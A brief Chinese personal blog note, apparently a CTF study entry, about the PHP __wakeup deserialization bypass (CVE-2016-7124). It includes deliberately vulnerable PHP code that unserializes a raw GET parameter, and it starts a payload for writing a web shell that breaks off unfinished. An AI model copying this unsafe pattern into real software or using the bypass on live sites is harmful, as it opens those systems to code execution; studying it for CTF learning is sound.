今天做了好好看的美甲,超级无敌开心
本来想复现cve-2016-7124的,ctf中的反序列化好多都是使用这种方法绕过的,但是我没复现出来,就把重要知识点记录一下吧。
cve-2016-7124主要就是使用反序列化中__wakeup函数进行绕过的
漏洞原理
也就是那个很重要的知识点:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
漏洞代码
<?php
class test{
public $name = "panacea";
public function __wakeup(){
echo "this is __wakeup<br>";
}
public function __destruct(){
echo "this is __destruct<br>";
}
}
//$s = new test();
//echo serialize($s);
//s = O:4:"test":1:{s:4:"name";s:7:"panacea";}
$str = $_GET["s"];
@$un_str = unserialize($str);
echo $un_str->name."<br>";
?>
然后就可以构造一句话写入
?s=O:4:"test":1:{
s:4:"name";s: